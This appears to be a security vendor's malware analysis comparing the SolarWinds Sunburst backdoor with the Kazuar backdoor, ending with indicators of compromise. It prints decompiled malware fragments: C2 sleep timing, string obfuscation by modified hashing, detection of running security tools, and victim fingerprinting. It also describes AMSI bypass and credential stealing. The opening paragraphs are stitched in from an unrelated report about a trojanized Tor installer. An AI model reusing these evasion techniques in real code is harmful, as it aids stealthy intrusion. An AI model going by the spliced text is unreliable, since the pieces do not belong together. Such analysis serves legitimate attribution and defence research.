In this campaign, the attackers use anonymization software to lure targets. Placing a link on a popular YouTube channel makes the malicious Tor Browser installer appear more legitimate to potential targets. Curiously, unlike common stealers, OnionPoison implants do not automatically collect user passwords, cookies or wallets. Instead, they gather data that can be used to identify the victims, such as browsing histories, social networking account IDs and Wi-Fi networks. The attackers can search the exfiltrated browser histories for traces of illegal activity, contact the victims via social networks and threaten to report them to the authorities. In the past, we have also seen cases where law enforcement agencies, for instance, the FBI, have used 0-days to unmask the identity of Tor users involved with darknet pedophile websites. Another similar case involved the distribution of OnionDuke malware through injections into unencrypted HTTP connections on TOR exit nodes.

Regardless of the actor’s motives, the best way to avoid getting infected with OnionPoison implants is to always download software from official websites. If that’s not an option, verify the authenticity of installers downloaded from third-party sources by examining their digital signatures. A legitimate installer should have a valid signature, and the company name specified in its certificate should match the name of the software developer.

Introduction

On December 13, 2020, FireEye published a blog post detailing a supply chain attack leveraging Orion IT, an infrastructure monitoring and management platform by SolarWinds. In parallel, Volexity published an article with their analysis of related attacks, attributed to an actor named “Dark Halo”. FireEye did not link this activity to any known actor; instead, they gave it an unknown, temporary moniker – “UNC2452”.

This attack is remarkable from many points of view, including its stealthiness, precision targeting and the custom malware leveraged by the attackers, named “Sunburst” by FireEye.

In a previous blog, we dissected the method used by Sunburst to communicate with its C2 server and the protocol by which victims are upgraded for further exploitation. Similarly, many other security companies published their own analysis of the Sunburst backdoor, various operational details and how to defend against this attack. Yet, besides some media articles, no solid technical papers have been published that could potentially link it to previously known activity.

While looking at the Sunburst backdoor, we discovered several features that overlap with a previously identified backdoor known as Kazuar. Kazuar is a .NET backdoor first reported by Palo Alto in 2017. Palo Alto tentatively linked Kazuar to the Turla APT group, although no solid attribution link has been made public. Our own observations indeed confirm that Kazuar was used together with other Turla tools during multiple breaches in past years.

A number of unusual, shared features between Sunburst and Kazuar include the victim UID generation algorithm, the sleeping algorithm and the extensive usage of the FNV-1a hash.

We describe these similarities in detail below.

For a summary of this analysis and FAQs, feel free to scroll down to “Conclusions“.

We believe it’s important that other researchers around the world investigate these similarities and attempt to discover more facts about Kazuar and the origin of Sunburst, the malware used in the SolarWinds breach. If we consider past experience, looking back to the WannaCry attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research on this topic can be crucial in connecting the dots.

More information about UNC2452, DarkHalo, Sunburst and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com

Technical Details

Background

While looking at the Sunburst backdoor, we discovered several features that overlap with a previously identified backdoor known as Kazuar. Kazuar is a .NET backdoor first reported by Palo Alto in 2017.
Throughout the years, Kazuar has been under constant development. Its developers have been regularly improving it, switching from one obfuscator to another, changing algorithms and updating features. We looked at all versions of Kazuar since 2015, in order to better understand its development timeline.

Kazuar development and evolution timeline

In the following sections, we look at some of the similarities between Kazuar and Sunburst. First, we will discuss how a particular feature is used in Kazuar, and then we will describe the implementation of the same feature in Sunburst.

Comparison of the sleeping algorithms

Both Kazuar and Sunburst have implemented a delay between connections to a C2 server, likely designed to make the network activity less obvious.

Kazuar

Kazuar calculates the time it sleeps between two C2 server connections as follows: it takes two timestamps, the minimal sleeping time and the maximal sleeping time, and calculates the waiting period with the following formula:

generated_sleeping_time = sleeping_timemin + x (sleeping_timemax - sleeping_timemin)

where x is a random floating-point number ranging from 0 to 1 obtained by calling the NextDouble method, while sleeping_time_min and sleeping_time_max are time periods obtained from the C2 configuration which can be changed with the help of a backdoor command. As a result of the calculations, the generated time will fall in the [sleeping_time_min, sleeping_time_max] range. By default, sleeping_time_min equals two weeks and sleeping_time_max equals four weeks in most samples of Kazuar we analysed. After calculating the sleeping time, it invokes the Sleep method in a loop.

Kazuar implements this algorithm in the following lines of code (class names were omitted from the code for clarity):

long random_multiplication(Random random_0, long long_0) {
 	return (long)(random_0.NextDouble() * (double)long_0);
  }
TimeSpan get_randomized_sleeping_time(Random random_0, TimeSpan timeSpan_0, TimeSpan timeSpan_1) {
    if (timeSpan_0 > timeSpan_1) {
      TimeSpan timeSpan = timeSpan_0;
      timeSpan_0 = timeSpan_1;
      timeSpan_1 = timeSpan;
    }
    long num = random_multiplication(random_0, timeSpan_1.Ticks - timeSpan_0.Ticks); 
// randomize the sleeping time
    return new TimeSpan(timeSpan_0.Ticks + num);
  }
 TimeSpan get_remaining_time(TimeSpan timeSpan_0, TimeSpan timeSpan_1) {
    if (!(timeSpan_0 > timeSpan_1)) {
      return timeSpan_0;
    }
    return timeSpan_1;
  }
  void wait_between_connections() {
    for (;;) { // the sleeping loop
      TimeSpan[] array = get_min_and_max_sleep_time(); 
/* the previous line retrieves sleeping_time_min and sleeping_time_max from the configuration */
      TimeSpan timeSpan = get_randomized_sleeping_time(this.random_number, array[0], array[1]);
      DateTime last_c2_connection = get_last_c2_connection();
      TimeSpan timeSpan2 = DateTime.Now - last_c2_connection;
      if (timeSpan2 >= timeSpan) {
        break; 
/* enough time has passed, the backdoor may connect to the C2 server */
      }
 TimeSpan timeout = get_remaining_time(timeSpan - timeSpan2, this.timespan); // this.timespan equals 1 minute
      Thread.Sleep(timeout);
    }
  }

Sunburst

Sunburst uses exactly the same formula to calculate sleeping time, relying on NextDouble to generate a random number. It then calls the sleeping function in a loop. The only difference is that the code is somewhat less complex. Below we compare an extract of the sleeping algorithm found in Kazuar and the code discovered in Sunburst.

long random_multiplication(Random random_0, long long_0) {
 	return (long)(random_0.NextDouble() * (double)long_0);
  }

TimeSpan get_randomized_sleeping_time(Random random_0, 
         TimeSpan timeSpan_0, TimeSpan timeSpan_1)
  {
    if (timeSpan_0 > timeSpan_1)
    {
      TimeSpan timeSpan = timeSpan_0;
      timeSpan_0 = timeSpan_1;
      timeSpan_1 = timeSpan;
    }
    long num = random_multiplication(random_0, 
               timeSpan_1.Ticks - timeSpan_0.Ticks); 
    return new TimeSpan(timeSpan_0.Ticks + num);
  }
void wait_between_connections() {
    for (;;) { 
      ...
      if (timeSpan2 >= timeSpan) {
        break; 
      }
 TimeSpan timeout = get_remaining_time(timeSpan - timeSpan2, 
                                       this.timespan);       
    Thread.Sleep(timeout);
    }
  }

private static void DelayMs(double minMs, double maxMs)
{
  if ((int)maxMs == 0)
  {
    minMs = 1000.0;
    maxMs = 2000.0;
  }
  double num;
  for (num = minMs + new Random().NextDouble() * (maxMs - minMs); 
       num >= 2147483647.0; num -= 2147483647.0)
  {
    Thread.Sleep(int.MaxValue);
  }
  Thread.Sleep((int)num);
}

Comparing the two code fragments outlined above, we see that the algorithms are similar.
It’s noteworthy that both Kazuar and Sunburst wait for quite a long time before or in-between C2 connections. By default, Kazuar chooses a random sleeping time between two and four weeks, while Sunburst waits from 12 to 14 days. Sunburst, like Kazuar, implements a command which allows the operators to change the waiting time between two C2 connections.

Based on the analysis of the sleeping algorithm, we conclude:

• Kazuar and Sunburst use the same mathematical formula, relying on Random().NextDouble() to calculate the waiting time
• Kazuar randomly selects a sleeping period between two and four weeks between C2 connections
• Sunburst randomly selects a sleeping period between twelve and fourteen days before contacting its C2
• Such long sleep periods in C2 connections are not very common for typical APT malware
• While Kazuar does a Thread.Sleep using a TimeSpan object, Sunburst uses an Int32 value; due to the fact that Int32.MaxValue is limited to roughly 24 days of sleep, the developers “emulate” longer sleeps in a loop to get past this limitation
• In case of both Kazuar and Sunburst, the sleeping time between two connections can be changed with the help of a command sent by the C2 server

The FNV-1a hashing algorithm

Sunburst uses the FNV-1a hashing algorithm extensively throughout its code. This detail initially attracted our attention and we tried to look for other malware that uses the same algorithm. It should be pointed out that the usage of this hashing algorithm is not unique to Kazuar and Sunburst. However, it provides an interesting starting point for finding more similarities. FNV-1a has been widely used by the Kazuar .NET Backdoor since its early versions. We compare the usage of FNV-1a in Kazuar and Sunburst below.

Kazuar

The shellcode used in Kazuar finds addresses of library functions with a variation of the FNV-1a hashing algorithm. The way of finding these addresses is traditional: the shellcode traverses the export address table of a DLL, fetches the name of an API function, hashes it and then compares the hash with a given value.

A variation of the FNV-1a hashing algorithm in Kazuar shellcode present in 2015-autumn 2020 samples, using a 0x1000197 modified constant instead of the default FNV_32_PRIME 0x1000193 (MD5 150D0ADDF65B6524EB92B9762DB6F074)

This customized FNV-1a 32-bit hashing algorithm has been present in the Kazuar shellcode since 2015. For the Kazuar binaries used in 2020, a modified 64-bit FNV-1a appeared in the code:

public static ulong bu(string pK)
  {
    byte[] bytes = Encoding.UTF8.GetBytes(pK);
    ulong num = 0xCBF29CE484222325UL;
    ulong num2 = 0x69294589840FB0E8UL;
    ulong num3 = 0x100000001B3UL; 
    for (int i = 0; i < bytes.Length; i++)
    {
      num ^= (ulong)bytes[i];
      num *= num3;
    }
    return num ^ num2;
}

We observed that the 64-bit FNV-1a hash present in the 2020 Kazuar sample is also not standard. When the loop with the XOR and multiplication operations finishes execution, the resulting value is XOR-ed with a constant (XOR 0x69294589840FB0E8UL). In the original implementation of the FNV-1a hash, no XOR operation is applied after the loop.

Sunburst

Sunburst uses a modified, 64-bit FNV-1a hash for the purpose of string obfuscation. For example, when started, Sunburst first takes the FNV-1a hash of its process name (solarwinds.businesslayerhost) and checks if it is equal to a hardcoded value (0xEFF8D627F39A2A9DUL). If the hashes do not coincide, the backdoor code will not be executed:

public static void Initialize()
{
  try
  {
   if (OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) == 0xEFF8D627F39A2A9DUL) //"solarwinds.businesslayerhost"
    {
     // backdoor execution code
    }
  }
}

Hashes are also used to detect security tools running on the system. During its execution Sunburst iterates through the list of processes (Process.GetProcesses()), services (from “SYSTEM\\CurrentControlSet\\services“) and drivers (WMI, “Select * From Win32_SystemDriver“), hashes their names and looks them up in arrays containing the corresponding hardcoded hashes:

private static bool SearchAssemblies(Process[] processes)
{
  for (int i = 0; i < processes.Length; i++)
  {
    ulong hash = OrionImprovementBusinessLayer.GetHash(processes[i].ProcessName.ToLower());
    if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1)
    {
      return true;
    }
  }
  return false;
}

Below we compare the modified FNV-1a implementations of the two algorithms in Kazuar and Sunburst.

String obfuscation comparison

public static ulong bu(string pK) 
{
  byte[] bytes = Encoding.UTF8.GetBytes(pK);
  ulong num = 0xCBF29CE484222325UL;
  ulong num2 = 0x69294589840FB0E8UL;
  ulong num3 = 0x100000001B3UL;
  for (int i = 0; i < bytes.Length; i++)
  {
    num ^= (ulong)bytes[i];
    num *= num3;
  }
  return num ^ num2;
}

private static ulong GetHash(string s)
 {
   ulong num = 0xCBF29CE484222325UL;
   try
   {
     foreach (byte b in Encoding.UTF8.GetBytes(s))
     {
       num ^= (ulong)b;
       num *= 0x100000001B3UL;
     }
   }
   catch
   {
   }
   return num ^ 0x5BAC903BA7D81967UL;
 }

It should be noted that both Kazuar and Sunburst use a modified 64-bit FNV-1a hash, which adds an extra step after the loop, XOR’ing the final result with a 64-bit constant.

Some readers might assume that the FNV-1a hashing was inserted by the compiler because C# compilers can optimize switch statements with strings into a series of if statements. In this compiler optimized code, the 32-bit FNV-1a algorithm is used to calculate hashes of strings:

string key = keyValuePair.Key;
        uint num = <PrivateImplementationDetails>.ComputeStringHash(key); 
// computes 32-bit FNV-1a
        if (num <= 0x848C8620U)
        {
          if (num <= 0x3A79338FU)
          {
            if (num <= 0x150EFE0DU)
            {
              if (num != 0x11DE6CDCU)
              {
                if (num != 0x13F0FB79U)
                {
                  if (num == 0x150EFE0DU)
                  {
                    // direct string compare:
                    if (key == "divisibleBy")
                    {
                          // case handling code                  
                    }
                     ...

ulong hash = OrionImprovementBusinessLayer.GetHash(text3.ToLower());
if (hash <= 0x7B2647ACD648B3BFUL)
   {
     if (hash <= 0x54E145F4CDA21B52UL)
         {
           if (hash != 0x25F3EA85AE88826EUL)
              {
               if (hash == 0x54E145F4CDA21B52UL)
                    {
                 // direct string compare missing                  
                 // case handling code                  
                    }
                  ...

In the case of Sunburst, the hashes in the switch statement do not appear to be compiler-generated. In fact, the C# compiler uses 32-bit, not 64-bit hashing. The hashing algorithm added by the compiler also does not have an additional XOR operation in the end. The compiler inserts the hashing method in the class, while in Sunburst the same code is implemented within the OrionImprovementBusinessLayer class. The compiler-emitted FNV-1a method will have the ComputeStringHash name. In case of Sunburst, the name of the method is GetHash. Additionally, the compiler inserts a check which compares the hashed string with a hardcoded value in order to eliminate the possibility of a collision. In Sunburst, there are no such string comparisons, which suggests these hash checks are not a compiler optimization.

To conclude the findings, we summarize them as follows:

• Both Sunburst and Kazuar use FNV-1a hashing throughout their code
• A modified 32-bit FNV-1a hashing algorithm has been used by the Kazuar shellcode since 2015 to resolve APIs
• This Kazuar shellcode uses a modified FNV-1a hash where its FNV_32_PRIME is 0x1000197 (instead of the default FNV_32_PRIME 0x1000193)
• A modified 64-bit version of the FNV-1a hashing algorithm was implemented in Kazuar versions found in 2020
• The modified 64-bit FNV-1a hashing algorithms implemented in Kazuar (November and December 2020 variants) have one extra step: after the hash is calculated, it is XORed with a hardcoded constant (0x69294589840FB0E8UL)
• Sunburst also uses a modified 64-bit FNV-1a hashing algorithm, with one extra step: after the hash is calculated, it is XORed with a hardcoded constant (0x5BAC903BA7D81967UL)
• The 64-bit constant used in the last step of the hashing is different between Kazuar and Sunburst
• The aforementioned hashing algorithm is used to conceal plain strings in Sunburst

The algorithm used to generate victim identifiers

Another similarity between Kazuar and Sunburst can be found in the algorithm used to generate the unique victim identifiers, described below.

Kazuar

In order to generate unique strings (across different victims), such as client identifiers, mutexes or file names, Kazuar uses an algorithm which accepts a string as input. To derive a unique string from the given one, the backdoor gets the MD5 hash of the string and then XORs it with a four-byte unique “seed” from the machine. The seed is obtained by fetching the serial number of the volume where the operating system is installed.

Sunburst

An MD5+XOR algorithm can also be found in Sunburst. However, instead of the volume serial number, it uses a different set of information as the machine’s unique seed, hashes it with MD5 then it XORs the two hash halves together. The two implementations are compared in the following table:

public static Guid md5_plus_xor(string string_0) {
  byte[] bytes = BitConverter.GetBytes(parameter_class.unique_pc_identifier);
  byte[] array = MD5.Create().ComputeHash(get_bytes_wrapper(string_0));
 for (int i = 0; i < array.Length; i++) {
    byte[] array2 = array;
    int num = i;
    array2[num] ^= bytes[i % bytes.Length];
  }
  return new Guid(array);
}

private static bool GetOrCreateUserID(out byte[] hash64) {
  string text = OrionImprovementBusinessLayer.ReadDeviceInfo();
  hash64 = new byte[8];
  Array.Clear(hash64, 0, hash64.Length);
  if (text == null) {
    return false;
  }
<part of the code omitted for clarity>
using (MD5 md = MD5.Create()) {
    byte[] bytes = Encoding.ASCII.GetBytes(text);
    byte[] array = md.ComputeHash(bytes);
    if (array.Length < hash64.Length) {
      return false;
    }
    for (int i = 0; i < array.Length; i++) {
      byte[] array2 = hash64;
      int num = i % hash64.Length;
      array2[num] ^= array[i];
    }
  }
  return true;
}

To summarize these findings:

• To calculate unique victim UIDs, both Kazuar and Sunburst use a hashing algorithm which is different from their otherwise “favourite” FNV-1a; a combination of MD5+XOR:
  • Kazuar XORs a full 128-bit MD5 of a pre-defined string with a four-byte key which contains the volume serial number
  • Sunburst computes an MD5 from a larger set of data, which concatenates the first adapter MAC address (retrieved using NetworkInterface.GetAllNetworkInterfaces()), the computer domain (GetIPGlobalProperties().DomainName) and machine GUID (“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography” -> “MachineGuid”) , then it XORs together the two halves into an eight-bytes result
• This MD5+XOR algorithm is present in all Kazuar samples used before November 2020 (a massive code change, almost a complete redesign, was applied to Kazuar in November 2020)

False flags possibility

The possibility of a false flag is particularly interesting and deserves additional attention. In the past, we have seen sophisticated attacks such as OlympicDestroyer confusing the industry and complicating attribution. Subtle mistakes, such as the raw re-use of the Rich header from the Lazarus samples from the Bangladesh bank heist, allowed us to demonstrate that they were indeed false flags and allowed us to eventually connect OlympicDestroyer with Hades, a sophisticated APT group.

Supposing that Kazuar false flags were deliberately introduced into Sunburst, there are two main explanations of how this may have happened:

1. The use of XOR operation after the main FNV-1a computation was introduced in the 2020 Kazuar variants after it had appeared in the Sunburst code. In this case, the possibility of a false flag is less likely as the authors of Sunburst couldn’t have predicted the Kazuar’s developers’ actions with such high precision.
2. A sample of Kazuar was released before Sunburst was written, containing the modified 64-bit hash function, and went unnoticed by everyone except the Sunburst developers. In this case, the Sunburst developers must have been aware of new Kazuar variants. Obviously, tracing all modifications of unknown code is quite a difficult and tedious task for the following reasons:
   • Kazuar’s developers are constantly changing their code as well as the packing methods, thus making it harder to detect the backdoor with YARA rules;
   • Kazuar samples (especially the new ones) quite rarely appear on VirusTotal.

The second argument comes with a caveat; the earliest Sunburst sample with the modified algorithm we have seen was compiled in February 2020, while the new Kazuar was compiled in or around November 2020. In the spring and summer of 2020, “old” samples of Kazuar were actively used, without the 64-bit modified FNV-1a hash. This means that option 1 (the extra XOR was introduced in the 2020 Kazuar variants after it had appeared in Sunburst) is more likely.

November 2020 – a new Kazuar

In November 2020, some significant changes happened to Kazuar. On November 18, our products detected a previously unknown Kazuar sample (MD5 9A2750B3E1A22A5B614F6189EC2D67FA). In this sample, the code was refactored, and the malware became much stealthier as most of its code no longer resembled that of the older versions. Here are the most important changes in Kazuar’s code:

• The infamous “Kazuar’s {0} started in process {1} [{2}] as user {3}/{4}.” string was removed from the binary and replaced with a much subtler “Agent started inside {0}.” message, meaning that the backdoor is no longer called Kazuar in the logs. Despite that, the GUID, which was present in Kazuar since 2015 and serves as the backdoor’s unique identifier, still appears in the refactored version of Kazuar.
• Depending on the configuration, the malware may now protect itself from being detected by the Anti-Malware Scan Interface by patching the first bytes of the AmsiScanBuffer API function.
• New spying features have been added to the backdoor. Now Kazuar is equipped with a keylogger and a password stealer which can fetch browser history data, cookies, proxy server credentials and, most importantly, passwords from Internet browsers, Filezilla, Outlook, Git and WinSCP. It also gets vault credentials. The stealer is implemented in the form of a C2 server command.
• Commands have been completely revamped. The system information retrieval function now also hunts for UAC settings and installed hot patches and drivers. The webcam shot-taking command has been completely removed from the backdoor. Commands which allow the execution of WMI commands and the running of arbitrary PowerShell, VBS and JS scripts have been introduced into Kazuar. The malware can now also gather forensic data (“forensic” is a name of a command present in the refactored version of Kazuar). Kazuar collects information about executables that run at startup, recently launched executables and compatibility assistant settings. Furthermore, a command to collect saved credentials from files left from unattended installation and IIS has been introduced into the backdoor.
• The data is now exfiltrated to the C2 server using ZIP archives instead of TAR.
• A class that implements parsing of different file formats has been added into Kazuar. It is currently not used anywhere in the code. This class can throw exceptions with the “Fucking poltergeist” text. In earlier versions of Kazuar, a “Shellcode fucking poltergeist error” message was logged if there was a problem with shellcode.
• The MD5+XOR algorithm is not as widely used as before in the latest version of Kazuar. The backdoor generates most of unique strings and identifiers with an algorithm which is based on the already discussed FNV-1a hash and Base62. The MD5+XOR algorithm itself has been modified. Its new implementation is given below:
  

  Kazuar (2020). The modified MD5+XOR algorithm.

  public static string ZK(string X, string JK = null) { if (YU.fG(JK)) { JK = oR.d6; } string str = X.ToLower(); string s = "pipename-" + str + "-" + JK; byte[] bytes = Encoding.UTF8.GetBytes(s); byte[] array = MD5.Create().ComputeHash(bytes); byte b = 42; byte b2 = 17; byte b3 = 21; for (int i = 0; i < array.Length; i++) { b = (b * b2 & byte.MaxValue); b = (b + b3 & byte.MaxValue); byte[] array2 = array; int num = i; array2[num] ^= b; } Guid guid = new Guid(array); return guid.ToString("B").ToUpper(); }

• The random sleeping interval generation algorithm mentioned in the main part of the report also appears to be missing from the updated backdoor sample. In order to generate a random sleeping period, the malware now uses a more orthodox random number generation algorithm:
  

  Kazuar (2020). The new random number generation algorithm. Methods were renamed for clarity.

  public static long generate_random_number_in_range(long wG, long NG) { if (wG > NG) { utility_class.swap<long>(ref wG, ref NG); } return Math.Abs(utility_class.get_random_int64()) % (NG - wG + 1L) + wG; }

The newest sample of Kazuar (MD5 024C46493F876FA9005047866BA3ECBD) was detected by our products on December 29. It also contained refactored code.

For now, it’s unclear why the Kazuar developers implemented these massive code changes in November. Some possibilities include:

• It’s a normal evolution of the codebase, where new features are constantly added while older ones are moved
• The Kazuar developers wanted to avoid detection by various antivirus products or EDR solutions
• Suspecting the SolarWinds attack might be discovered, the Kazuar code was changed to resemble the Sunburst backdoor as little as possible

Conclusions

These code overlaps between Kazuar and Sunburst are interesting and represent the first potential identified link to a previously known malware family.

Although the usage of the sleeping algorithm may be too wide, the custom implementation of the FNV-1a hashes and the reuse of the MD5+XOR algorithm in Sunburst are definitely important clues. We should also point out that although similar, the UID calculation subroutine and the FNV-1a hash usage, as well the sleep loop, are still not 100% identical.

Possible explanations for these similarities include:

• Sunburst was developed by the same group as Kazuar
• The Sunburst developers adopted some ideas or code from Kazuar, without having a direct connection (they used Kazuar as an inspiration point)
• Both groups, DarkHalo/UNC2452 and the group using Kazuar, obtained their malware from the same source
• Some of the Kazuar developers moved to another team, taking knowledge and tools with them
• The Sunburst developers introduced these subtle links as a form of false flag, in order to shift blame to another group

At the moment, we do not know which one of these options is true. While Kazuar and Sunburst may be related, the nature of this relation is still not clear. Through further analysis, it is possible that evidence confirming one or several of these points might arise. At the same time, it is also possible that the Sunburst developers were really good at their opsec and didn’t make any mistakes, with this link being an elaborate false flag. In any case, this overlap doesn’t change much for the defenders. Supply chain attacks are some of the most sophisticated types of attacks nowadays and have been successfully used in the past by APT groups such as Winnti/Barium/APT41 and various cybercriminal groups.

To limit exposure to supply chain attacks, we recommend the following:

• Isolate network management software in separate VLANs, monitor them separately from the user networks
• Limit outgoing internet connections from servers or appliances that run third party software
• Implement regular memory dumping and analysis; checking for malicious code running in a decrypted state using a code similarity solution such as Kaspersky Threat Attribution Engine (KTAE)

More information about UNC2452, DarkHalo, Sunburst and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com

FAQ

1. TLDR; just tell us who’s behind the SolarWinds supply chain attack?
   Honestly, we don’t know. What we found so far is a couple of code similarities between Sunburst and a malware discovered in 2017, called Kazuar. This malware was first observed around 2015 and is still being used in the wild. The most advanced Kazuar sample we found is from December 2020. During five years of Kazuar evolution, we observed a continuous development, in which significant features, which bear resemblance to Sunburst, were added. While these similarities between Kazuar and Sunburst are notable, there could be a lot of reasons for their existence, including:
   • Sunburst was developed by the same group as Kazuar
   • The Sunburst developers used some ideas or code from Kazuar, without having a direct connection (they used Kazuar code as “inspiration”)
   • Both groups, that is, the DarkHalo/UNC2452 and the group using Kazuar obtained their malware from the same source
   • One of the Kazuar developers moved to another team, taking his knowledge and tools with them
   • The Sunburst developers introduced these subtle links as a form of a false flag, in order to shift the blame to another group

   At the moment, we simply do not know which of these options is true. Through further analysis, it is possible that evidence enforcing one or several of these points might arise. To clarify – we are NOT saying that DarkHalo / UNC2452, the group using Sunburst, and Kazuar or Turla are the same.

2. What are these similarities? Could these similarities be just coincidences?
   In principle, none of these algorithms or implementations are unique. In particular, the things that attracted our attention were the obfuscation of strings through modified FNV-1a algorithms, where the hash result is XOR’ed with a 64-bit constant, the implementation of the C2 connection delay, using a large (and unusual) value (Kazuar uses a random sleeping time between two and four weeks, while Sunburst waits from 12 to 14 days) and the calculation of the victim UID through an MD5 + XOR algorithm. It should be pointed that none of these code fragments are 100% identical. Nevertheless, they are curious coincidences, to say at least. One coincidence wouldn’t be that unusual, two coincidences would definitively raise an eyebrow, while three such coincidences are kind of suspicious to us.
3. What is this Kazuar malware?
   Kazuar is a fully featured .NET backdoor, and was first reported by our colleagues from Palo Alto Networks in 2017. The researchers surmised at the time that it may have been used by the Turla APT group, in order to replace their Carbon platform and other Turla second stage backdoors. Our own observations confirm that Kazuar was used, together with other Turla tools, during multiple breaches in the past few years, and is still in use. Also, Epic Turla resolves imports with another customized version of the FNV-1a hash and has code similarities with Kazuar’s shellcode.
4. So Sunburst is connected to Turla?
   Not necessarily, refer to question 1 for all possible explanations.
5. The media claims APT29 is responsible for the SolarWinds hack. Are you saying that’s wrong?
   We do not know who is behind the SolarWinds hack – we believe attribution is a question better left for law enforcement and judicial institutions. To clarify, our research has identified a number of shared code features between the Sunburst malware and Kazuar.
   Our research has placed APT29 as another potential name for “The Dukes”, which appears to be an umbrella group comprising multiple actors and malware families. We initially reported MiniDuke, the earliest malware in this umbrella, in 2013. In 2014, we reported other malware used by “The Dukes”, named CosmicDuke. In CosmicDuke, the debug path strings from the malware seemed to indicate several build environments or groups of “users” of the “Bot Gen Studio”: “NITRO” and “Nemesis Gemina”. In short, we suspect CosmicDuke was being leveraged by up to three different entities, raising the possibility it was shared across groups. One of the interesting observations from our 2014 research was the usage of a webshell by one of the “Bot Gen Studio” / “CosmicDuke” entities that we have seen before in use by Turla. This could suggest that Turla is possibly just one of the several users of the tools under the “Dukes” umbrella.
6. How is this connected to Cozy Duke?
   In 2015, we published futher research on CozyDuke, which seemed to focus on what appeared to be government organizations and commercial entities in the US, Germany and other countries. In 2014, their targets, as reported in the media, included the White House and the US Department of State. At the time, the media also called it “the worst ever” hack. At the moment, we do not see any direct links between the 2015 CozyDuke and the SolarWinds attack.
7. How solid are the links with Kazuar?
   Several code fragments from Sunburst and various generations of Kazuar are quite similar. We should point out that, although similar, these code blocks, such as the UID calculation subroutine and the FNV-1a hashing algorithm usage, as well the sleep loop, are still not 100% identical. Together with certain development choices, these suggest that a kind of a similar thought process went into the development of Kazuar and Sunburst. The Kazuar malware continued to evolve and later 2020 variants are even more similar, in some respect, to the Sunburst branch. Yet, we should emphasise again, they are definitely not identical.
8. So, are you saying Sunburst is essentially a modified Kazuar?
   We are not saying Sunburst is Kazuar, or that it is the work of the Turla APT group. We spotted some interesting similarities between these two malware families and felt the world should know about them. We love to do our part, contributing our findings to the community discussions; others can check these similarities on their own, draw their own conclusions and find more links. What is the most important thing here is to publish interesting findings and encourage others to do more research. We will, of course, continue with our own research too.
9. Is this the worst cyberattack in history?
   Attacks should always be judged from the victim’s point of view. It should also account for physical damage, if any, loss of human lives and so on. For now, it would appear the purpose of this attack was cyberespionage, that is, extraction of sensitive information. By comparison, other infamous attacks, such as NotPetya or WannaCry had a significantly destructive side, with victim losses in the billions of dollars. Yet, for some out there, this may be more devastating than NotPetya or WannaCry; for others, it pales in comparison.
10. How did we get here?
    During the past years, we’ve observed what can be considered a “cyber arms race”. Pretty much all nation states have rushed, since the early 2000s, to develop offensive military capabilities in cyberspace, with little attention to defense. The difference is immediately notable when it comes to the budgets available for the purchase of offensive cyber capabilities vs the development of defensive capabilities. The world needs more balance to the (cyber-)force. Without that, the existing cyber conflicts will continue to escalate, to the detriment of the normal internet user.
11. Is it possible this is a false flag?
    In theory, anything is possible; and we have seen examples of sophisticated false flag attacks, such as the OlympicDestroyer attack. For a full list of possible explanations refer to question 1.
12. So. Now what?
    We believe it’s important that other researchers around the world also investigate these similarities and attempt to discover more facts about Kazuar and the origin of Sunburst, the malware used in the SolarWinds breach. If we consider past experience, for instance looking back to the WannaCry attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research on this topic can be crucial to connecting the dots.

Indicators of Compromise

File hashes:
E220EAE9F853193AFE77567EA05294C8 (First detected Kazuar sample, compiled in 2015)
150D0ADDF65B6524EB92B9762DB6F074 (Kazuar sample compiled in 2016)
54700C4CA2854858A572290BCD5501D4 (Kazuar sample compiled in 2017)
053DDB3B6E38F9BDBC5FB51FDD44D3AC (Kazuar sample compiled in 2018)
1F70BEF5D79EFBDAC63C9935AA353955 (Kazuar sample compiled in 2019)
9A2750B3E1A22A5B614F6189EC2D67FA (Kazuar sample used in November 2020)
804785B5ED71AADF9878E7FC4BA4295C (Kazuar sample used in December 2020)
024C46493F876FA9005047866BA3ECBD (Most recent Kazuar sample)
2C4A910A1299CDAE2A4E55988A2F102E (Sunburst sample)
More information about UNC2452, DarkHalo, Sunburst and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com